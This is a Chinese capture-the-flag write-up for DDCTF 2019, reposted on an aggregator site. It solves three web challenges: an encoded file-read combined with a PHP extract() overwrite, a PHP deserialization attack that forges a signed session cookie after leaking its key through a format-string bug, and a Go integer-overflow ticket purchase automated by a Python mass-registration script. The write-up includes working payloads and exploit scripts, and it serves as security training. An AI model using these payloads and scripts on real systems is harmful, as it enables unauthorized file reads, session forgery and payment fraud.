DDCTF-2019
Posted aiden-
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DDCTF-2019相关的知识,希望对你有一定的参考价值。
Web 滴
Web 签到题
Web 大吉大利,今晚吃鸡
1)滴
网址http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
参数两次base64解码一次ascii解码得到flag.php
观察只有flag.php才显示图片,尝试把index.php按规则编码获取到index的源码
<?php /* * https://blog.csdn.net/FengBanLiuYun/article/details/80616607 * Date: July 4,2018 */ error_reporting(E_ALL || ~E_NOTICE); header(‘content-type:text/html;charset=utf-8‘); if(! isset($_GET[‘jpg‘])) header(‘Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09‘); $file = hex2bin(base64_decode(base64_decode($_GET[‘jpg‘]))); echo ‘<title>‘.$_GET[‘jpg‘].‘</title>‘; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); echo $file.‘</br>‘; $file = str_replace("config","!", $file); echo $file.‘</br>‘; $txt = base64_encode(file_get_contents($file)); echo "<img src=‘data:image/gif;base64,".$txt."‘></img>"; /* * Can you find the flag file? * */ ?>
访问网址,发现出题人的博客,代码注释里日期2018.7.4找到对应日期的博客
猜测存在vim异常退出留下的文件,尝试访问博客中文件名practice.txt.swp
http://117.51.150.246/practice.txt.swp
得到的线索f1ag!ddctf.php
在开始页面编码f1ag!ddctf.php
尝试读取,其中根据上面得到的源码 ‘!’ 被过滤,用config代替
得到源码
<?php include(‘config.php‘); $k = ‘hello‘; extract($_GET); if(isset($uid)) { $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo‘hello‘; } } ?>
其中存在extract覆盖漏洞,直接访问http://117.51.150.246/
f1ag!ddctf.php
?uid=&k=
得到flag
2)WEB签到题
进入之后无法访问,查看网络传输信息,找到post请求网址为Auth.php猜测为验证登录
尝试ddctf_username=admin发包成功进入,提示请访问:app/fL2XID2i0Cdh.php
访问页面查看到app/Application.php和app/Session.php源码
1 url:app/Application.php 2 3 4 Class Application { 5 var $path = ‘‘; 6 7 8 public function response($data, $errMsg = ‘success‘) { 9 $ret = [‘errMsg‘ => $errMsg, 10 ‘data‘ => $data]; 11 $ret = json_encode($ret); 12 header(‘Content-type: application/json‘); 13 echo $ret; 14 15 } 16 17 public function auth() { 18 $DIDICTF_ADMIN = ‘admin‘; 19 if(!empty($_SERVER[‘HTTP_DIDICTF_USERNAME‘]) && $_SERVER[‘HTTP_DIDICTF_USERNAME‘] == $DIDICTF_ADMIN) { 20 $this->response(‘您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php‘); 21 return TRUE; 22 }else{ 23 $this->response(‘抱歉,您没有登陆权限,请获取权限后访问-----‘,‘error‘); 24 exit(); 25 } 26 27 } 28 private function sanitizepath($path) { 29 $path = trim($path); 30 $path=str_replace(‘../‘,‘‘,$path); 31 $path=str_replace(‘..\\\\‘,‘‘,$path); 32 return $path; 33 } 34 35 public function __destruct() { 36 if(empty($this->path)) { 37 exit(); 38 }else{ 39 $path = $this->sanitizepath($this->path); 40 if(strlen($path) !== 18) { 41 exit(); 42 } 43 $this->response($data=file_get_contents($path),‘Congratulations‘); 44 } 45 exit(); 46 } 47 }
其中看到Application类中的path参数在魔术方法__destruct()中被调用,并对path进行了一些限制
其中还有危险函数file_get_contents可能用于读取目的文件
猜测可能存在反序列化漏洞
1 url:app/Session.php 2 3 4 5 include ‘Application.php‘; 6 class Session extends Application { 7 8 //key建议为8位字符串 9 var $eancrykey = ‘‘; 10 var $cookie_expiration = 7200; 11 var $cookie_name = ‘ddctf_id‘; 12 var $cookie_path = ‘‘; 13 var $cookie_domain = ‘‘; 14 var $cookie_secure = FALSE; 15 var $activity = "DiDiCTF"; 16 17 18 public function index() 19 { 20 if(parent::auth()) { 21 $this->get_key(); 22 if($this->session_read()) { 23 $data = ‘DiDI Welcome you %s‘; 24 $data = sprintf($data,$_SERVER[‘HTTP_USER_AGENT‘]); 25 parent::response($data,‘sucess‘); 26 }else{ 27 $this->session_create(); 28 $data = ‘DiDI Welcome you‘; 29 parent::response($data,‘sucess‘); 30 } 31 } 32 33 } 34 35 private function get_key() { 36 //eancrykey and flag under the folder 37 $this->eancrykey = file_get_contents(‘../config/key.txt‘); 38 } 39 40 public function session_read() { 41 if(empty($_COOKIE)) { 42 return FALSE; 43 } 44 45 $session = $_COOKIE[$this->cookie_name]; 46 if(!isset($session)) { 47 parent::response("session not found",‘error‘); 48 return FALSE; 49 } 50 $hash = substr($session,strlen($session)-32); 51 $session = substr($session,0,strlen($session)-32); 52 53 if($hash !== md5($this->eancrykey.$session)) { 54 parent::response("the cookie data not match",‘error‘); 55 return FALSE; 56 } 57 $session = unserialize($session); 58 59 60 if(!is_array($session) OR !isset($session[‘session_id‘]) OR !isset($session[‘ip_address‘]) OR !isset($session[‘user_agent‘])){ 61 return FALSE; 62 } 63 64 if(!empty($_POST["nickname"])) { 65 $arr = array($_POST["nickname"],$this->eancrykey); 66 $data = "Welcome my friend %s"; 67 foreach ($arr as $k => $v) { 68 $data = sprintf($data,$v); 69 } 70 parent::response($data,"Welcome"); 71 } 72 73 if($session[‘ip_address‘] != $_SERVER[‘REMOTE_ADDR‘]) { 74 parent::response(‘the ip addree not match‘.‘error‘); 75 return FALSE; 76 } 77 if($session[‘user_agent‘] != $_SERVER[‘HTTP_USER_AGENT‘]) { 78 parent::response(‘the user agent not match‘,‘error‘); 79 return FALSE; 80 } 81 return TRUE; 82 83 } 84 85 private function session_create() { 86 $sessionid = ‘‘; 87 while(strlen($sessionid) < 32) { 88 $sessionid .= mt_rand(0,mt_getrandmax()); 89 } 90 91 $userdata = array( 92 ‘session_id‘ => md5(uniqid($sessionid,TRUE)), 93 ‘ip_address‘ => $_SERVER[‘REMOTE_ADDR‘], 94 ‘user_agent‘ => $_SERVER[‘HTTP_USER_AGENT‘], 95 ‘user_data‘ => ‘‘, 96 ); 97 98 $cookiedata = serialize($userdata); 99 $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); 100 $expire = $this->cookie_expiration + time(); 101 setcookie( 102 $this->cookie_name, 103 $cookiedata, 104 $expire, 105 $this->cookie_path, 106 $this->cookie_domain, 107 $this->cookie_secure 108 ); 109 110 } 111 } 112 113 114 $ddctf = new Session(); 115 $ddctf->index();
57行 $session = unserialize($session); 验证了之前的猜想存在反序列化漏洞
那么就是要构造session并调用Application类赋给path值读取flag文件
35行 提示flag所在路径,猜测‘../config/flag.txt‘
private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents(‘../config/key.txt‘); }
构造的session会经过一些验证,其中主要构造验证hash值
其验证方式为session[-32:] = md5(eancrykey+session[:-32])
即session的后32位是eancrykey与前面所有字符串拼接后的md5值
接下来就是找eancrykey的具体值,注意到 64行
if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); }
熟悉pwn的话容易看出这里存在格式化字符串漏洞
我们令nickname=%s 然后post
成功打印了eancrykey的值:EzBlrbNS
之后开始构造session,urldecode一下原来的session
再经过反序列化之后添加一个Application类,其中path处限制长度18
并且会把../过滤掉,构造‘..././config/flag.txt‘恰好满足长度
<?php class Application{ var $path=‘..././config/flag.txt‘; } $a = new Application(); $arr = array ( ‘session_id‘ => ‘063e9d131dd8777edc6e3e6c87dcac56‘, ‘ip_address‘ => ‘x.x.x.x‘, ‘user_agent‘ => ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0‘, ‘user_data‘ => ‘‘, ‘payload‘ => $a, ); $test = serialize($arr); $eancrykey= ‘EzblrbNS‘; $hash = md5($eancrykey.$test); echo $test.$hash; ?>
得到
a:5:{s:10:"session_id";s:32:"063e9d131dd8777edc6e3e6c87dcac56";s:10:"ip_address";s:13:"x.x.x.x";s:10:"user_agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}}38b449cd93daf12a3d889a58594ab3d4
经过urlencode提交得到flag
3)大吉大利,今晚吃鸡~
注册登录,显示用户余额100,需要200购买入场卷,直接购买,支付显示余额不足
查看cookie,发现为REVEL_SESSION,推测后台使用golang编写
猜测存在数据溢出,查看go数据类型范围
尝试之后发现为uint32类型,抓包修改金额为4294967296,支付,成功购买
之后需要移除99个对手,注册一个新号同样操作之后填入id与ticket,显示成功移除一名机器人
之后目的就明确了,写脚本注册购买并将id和ticket填入即可
另外,注册页面存在越权漏洞,注册一个帐号,不管是否注册成功都会返回其cookie可用其登录
脚本如下,网上其他师傅的改了一点,学习了
1 import requests 2 import time 3 4 users={} 5 6 def register(name,pwd=‘aaaaaaaa‘): 7 url=‘http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s‘ %(name,pwd) 8 requests.adapters.DEFAULT_RETRIES = 5 9 re=requests.get(url=url) 10 re.keep_alive = False 11 cookies=re.cookies.get_dict() 12 users[cookies[‘user_name‘]]=cookies[‘REVEL_SESSION‘] 13 print cookies[‘user_name‘],cookies[‘REVEL_SESSION‘] 14 return cookies[‘user_name‘],cookies[‘REVEL_SESSION‘] 15 16 def buyticket(name,session): 17 url=‘http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296‘ 18 header={ 19 ‘Cookie‘: ‘user_name=%s; REVEL_SESSION=%s‘ %(name,session) 20 } 21 re=requests.get(url=url,headers=header) 22 bill_id = re.json()[‘data‘][0][‘bill_id‘] 23 print bill_id 24 payticket(bill_id,name,session) 25 26 27 def payticket(bill_id,name,session): 28 url=‘http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s‘%(bill_id) 29 header={ 30 ‘Cookie‘: ‘user_name=%s; REVEL_SESSION=%s‘ %(name,session) 31 } 32 re=requests.get(url=url,headers=header) 33 my_id=re.json()["data"][0]["your_id"] 34 my_ticket=re.json()["data"][0]["your_ticket"] 35 getflag(my_id,my_ticket) 36 37 def getflag(id,ticket): 38 url=‘http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s‘ %(id,ticket) 39 header={ 40 ‘Cookie‘: ‘user_name=%s; REVEL_SESSION=%s‘ %(MainUser,MainSession) 41 } 42 re=requests.get(url=url,headers=header) 43 print re.text 44 45 46 if __name__=="__main__": 47 MainUser,MainSession=register(‘MainUser0002‘) 48 buyticket(MainUser,MainSession) 49 time.sleep(1.1) 50 for i in range(200,205): 51 register(‘AttachUrr%s‘ %(i)) 52 time.sleep(0.6) 53 for j in users: 54 if j!=MainUser: 55 buyticket(j,users[j]) 56 time.sleep(0.6)
以上是关于DDCTF-2019的主要内容,如果未能解决你的问题,请参考以下文章